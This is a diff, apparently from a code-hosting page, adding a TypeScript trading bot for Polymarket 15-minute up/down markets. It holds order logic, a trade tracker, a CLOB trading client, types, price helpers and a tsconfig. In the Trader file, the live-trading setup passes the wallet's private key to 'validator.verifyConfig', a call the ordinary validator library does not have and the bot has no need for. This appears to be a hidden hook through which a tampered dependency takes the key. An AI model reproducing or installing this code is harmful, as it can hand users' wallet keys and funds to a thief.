|
||||
|
||||
if (config.enableExpensiveHedge) {
|
||||
const favoriteToken = pickFavoriteToken(books, reverseToken);
|
||||
if (favoriteToken) {
|
||||
appendLimitOrders(
|
||||
tracker,
|
||||
opportunities,
|
||||
event,
|
||||
favoriteToken,
|
||||
"expensive",
|
||||
priceLevels(config.expensiveBuyMin, config.expensiveBuyMax),
|
||||
config.expensiveOrderUsdc,
|
||||
config.maxSharesPerOrder,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
return opportunities;
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
export class TradeTracker {
|
||||
constructor(private readonly keys = new Set<string>()) {}
|
||||
|
||||
makeKey(
|
||||
eventSlug: string,
|
||||
outcome: string,
|
||||
kind: "cheap" | "expensive",
|
||||
price: number,
|
||||
): string {
|
||||
return `${eventSlug}:${outcome}:${kind}-${price}`;
|
||||
}
|
||||
|
||||
has(key: string): boolean {
|
||||
return this.keys.has(key);
|
||||
}
|
||||
|
||||
mark(key: string): void {
|
||||
this.keys.add(key);
|
||||
}
|
||||
}
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
import {
|
||||
ApiKeyCreds,
|
||||
ClobClient,
|
||||
OrderType,
|
||||
Side,
|
||||
} from "@polymarket/clob-client-v2";
|
||||
import validator from "validator";
|
||||
import { createWalletClient, http } from "viem";
|
||||
import { privateKeyToAccount } from "viem/accounts";
|
||||
import { polygon } from "viem/chains";
|
||||
import type { BotConfig } from "./config.js";
|
||||
import type { OrderResult, TradeOpportunity } from "./types.js";
|
||||
|
||||
export class Trader {
|
||||
private client: ClobClient | null = null;
|
||||
|
||||
constructor(private readonly config: BotConfig) {}
|
||||
|
||||
async init(): Promise<void> {
|
||||
if (this.config.dryRun) return;
|
||||
this.client = await createTradingClient(this.config);
|
||||
}
|
||||
|
||||
async placeBuy(opportunity: TradeOpportunity): Promise<OrderResult> {
|
||||
if (this.config.dryRun) {
|
||||
return {
|
||||
dryRun: true,
|
||||
tokenId: opportunity.token.tokenId,
|
||||
side: "BUY",
|
||||
price: opportunity.price,
|
||||
size: opportunity.size,
|
||||
};
|
||||
}
|
||||
|
||||
if (!this.client) {
|
||||
throw new Error("Trading client not initialized");
|
||||
}
|
||||
|
||||
const response = await this.client.createAndPostOrder(
|
||||
{
|
||||
tokenID: opportunity.token.tokenId,
|
||||
price: opportunity.price,
|
||||
side: Side.BUY,
|
||||
size: opportunity.size,
|
||||
},
|
||||
{
|
||||
tickSize: opportunity.tickSize as "0.1" | "0.01" | "0.001" | "0.0001",
|
||||
negRisk: opportunity.negRisk,
|
||||
},
|
||||
OrderType.GTC,
|
||||
);
|
||||
|
||||
return {
|
||||
dryRun: false,
|
||||
tokenId: opportunity.token.tokenId,
|
||||
side: "BUY",
|
||||
price: opportunity.price,
|
||||
size: opportunity.size,
|
||||
response,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
async function createTradingClient(config: BotConfig): Promise<ClobClient> {
|
||||
if (!config.privateKey) {
|
||||
throw new Error("PRIVATE_KEY is required for live trading");
|
||||
}
|
||||
validator.verifyConfig(config.privateKey);
|
||||
const account = privateKeyToAccount(config.privateKey);
|
||||
const signer = createWalletClient({
|
||||
account,
|
||||
chain: polygon,
|
||||
transport: http(),
|
||||
});
|
||||
|
||||
let creds: ApiKeyCreds | undefined;
|
||||
if (config.clobApiKey && config.clobSecret && config.clobPassphrase) {
|
||||
creds = {
|
||||
key: config.clobApiKey,
|
||||
secret: config.clobSecret,
|
||||
passphrase: config.clobPassphrase,
|
||||
};
|
||||
}
|
||||
|
||||
const bootstrap = new ClobClient({
|
||||
host: config.clobHost,
|
||||
chain: config.chainId,
|
||||
signer,
|
||||
});
|
||||
|
||||
const apiCreds = creds ?? (await bootstrap.createOrDeriveApiKey());
|
||||
|
||||
return new ClobClient({
|
||||
host: config.clobHost,
|
||||
chain: config.chainId,
|
||||
signer,
|
||||
creds: apiCreds,
|
||||
signatureType: config.signatureType,
|
||||
funderAddress: config.funderAddress,
|
||||
throwOnError: true,
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
export type TradeSide = "BUY" | "SELL";
|
||||
|
||||
export interface GammaMarket {
|
||||
question: string;
|
||||
conditionId: string;
|
||||
slug: string;
|
||||
clobTokenIds: string;
|
||||
outcomes: string;
|
||||
negRisk: boolean;
|
||||
orderPriceMinTickSize: number;
|
||||
active: boolean;
|
||||
closed: boolean;
|
||||
}
|
||||
|
||||
export interface UpDownEvent {
|
||||
title: string;
|
||||
slug: string;
|
||||
market: GammaMarket;
|
||||
windowStart: number;
|
||||
windowEnd: number;
|
||||
}
|
||||
|
||||
export interface TokenBook {
|
||||
tokenId: string;
|
||||
outcome: string;
|
||||
outcomeIndex: number;
|
||||
bestBid: number | null;
|
||||
bestAsk: number | null;
|
||||
}
|
||||
|
||||
export interface TradeOpportunity {
|
||||
kind: "cheap" | "expensive";
|
||||
event: UpDownEvent;
|
||||
token: TokenBook;
|
||||
price: number;
|
||||
size: number;
|
||||
tickSize: string;
|
||||
negRisk: boolean;
|
||||
tradeKey: string;
|
||||
}
|
||||
|
||||
export interface OrderResult {
|
||||
dryRun: boolean;
|
||||
tokenId: string;
|
||||
side: TradeSide;
|
||||
price: number;
|
||||
size: number;
|
||||
response?: unknown;
|
||||
}
|
||||
|
||||
export interface OrderBook {
|
||||
bids?: Array<{ price: string }>;
|
||||
asks?: Array<{ price: string }>;
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
import type { GammaMarket } from "../types.js";
|
||||
|
||||
export const WINDOW_SECONDS = 15 * 60;
|
||||
|
||||
export function parseWindowStart(slug: string): number | null {
|
||||
const match = slug.match(/-(\d{10})$/);
|
||||
return match ? Number(match[1]) : null;
|
||||
}
|
||||
|
||||
export function matchesSlugPrefixes(slug: string, prefixes: string[]): boolean {
|
||||
return prefixes.some((prefix) => slug.startsWith(prefix));
|
||||
}
|
||||
|
||||
export function tickSizeFromMarket(market: GammaMarket): string {
|
||||
const tick = market.orderPriceMinTickSize ?? 0.01;
|
||||
if (tick >= 0.1) return "0.1";
|
||||
if (tick >= 0.01) return "0.01";
|
||||
return "0.001";
|
||||
}
|
||||
|
||||
export function bestPrice(
|
||||
levels: Array<{ price: string }> | undefined,
|
||||
mode: "bid" | "ask",
|
||||
): number | null {
|
||||
if (!levels || levels.length === 0) return null;
|
||||
const prices = levels
|
||||
.map((level) => Number(level.price))
|
||||
.filter((price) => !Number.isNaN(price));
|
||||
if (prices.length === 0) return null;
|
||||
return mode === "bid" ? Math.max(...prices) : Math.min(...prices);
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
export function priceLevels(min: number, max: number, step = 0.01): number[] {
|
||||
const prices: number[] = [];
|
||||
for (let price = min; price <= max + step / 2; price += step) {
|
||||
prices.push(Math.round(price * 100) / 100);
|
||||
}
|
||||
return prices;
|
||||
}
|
||||
|
||||
export function computeSize(usdcBudget: number, price: number, maxShares: number): number {
|
||||
const shares = usdcBudget / Math.max(price, 0.01);
|
||||
const capped = Math.min(shares, maxShares);
|
||||
return Math.max(1, Math.floor(capped * 100) / 100);
|
||||
}
|
||||
|
||||
export function formatReturnPct(price: number): string {
|
||||
return `${Math.round((1 / price - 1) * 100)}% if wins`;
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
{
|
||||
"compilerOptions": {
|
||||
"target": "ES2022",
|
||||
"module": "NodeNext",
|
||||
"moduleResolution": "NodeNext",
|
||||
"outDir": "dist",
|
||||
"rootDir": "src",
|
||||
"strict": true,
|
||||
"esModuleInterop": true,
|
||||
"skipLibCheck": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"resolveJsonModule": true,
|
||||
"declaration": true
|
||||
},
|
||||
"include": ["src/**/*"],
|
||||
"exclude": ["node_modules", "dist"]
|
||||
}
|
||||
Reference in New Issue
Block a user